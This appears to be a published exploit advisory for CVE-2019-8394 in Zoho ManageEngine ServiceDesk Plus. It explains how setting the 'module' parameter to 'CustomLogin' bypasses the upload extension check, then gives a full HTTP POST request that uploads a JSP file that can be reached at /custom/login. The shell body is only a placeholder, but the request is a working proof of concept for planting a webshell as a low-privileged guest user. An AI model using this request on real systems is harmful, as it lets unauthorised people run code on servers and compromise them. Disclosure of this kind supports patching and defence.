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# Exploit Title: Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10012 - arbitrary file upload # Date: 18-02-2019 # Exploit Author: Dao Duy Hung (duyhungattt@gmail.com) # Vendor Homepage: https://www.manageengine.com/products/service-desk/ # Software Link: https://www.manageengine.com/products/service-desk/download.html?opDownload_indexbnr # Version: 9.4 and 10.0 before 10.0 build 10012 # Tested on: SDP 10.0 build 10000 # CVE : CVE-2019-8394 Detail: In file common/FileAttachment.jsp line 332 only check file upload extension when parameter 'module' equal to 'SSP' or 'DashBoard' or 'HomePage', and if parameter 'module' is set to 'CustomLogin' will skip check file upload extension function and upload arbitrary file to folder '/custom/login' and this file can access directly from url 'host:port/custom/login/filename' . An authenticated user with minimum permission (ex: guest) can upload webshell to server. POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1 Host: localhost:8080 Content-Length: 508 Accept: */* Origin: http://localhost:8080 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Content-Type: multipart/form-data; boundary=----aaa Referer: http://localhost:8080/DashBoard.do Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; JSESSIONID=66716A38326AE43058F4A71FCF4E1E42; JSESSIONIDSSO=6970EB5659C20DFF0CF5015D9C91448E; sdpcsrfcookie=ec189770-d1aa-4db3-9a97-36f4ab3db380 Connection: close ------aaa Content-Disposition: form-data; name="sspsetup" Attach ------aaa Content-Disposition: form-data; name="module" CustomLogin ------aaa Content-Disposition: form-data; name="filePath"; filename="test.jsp" Content-Type: text/html This is shell content ------aaa Content-Disposition: form-data; name="hmtlcontent" ------aaa-- |
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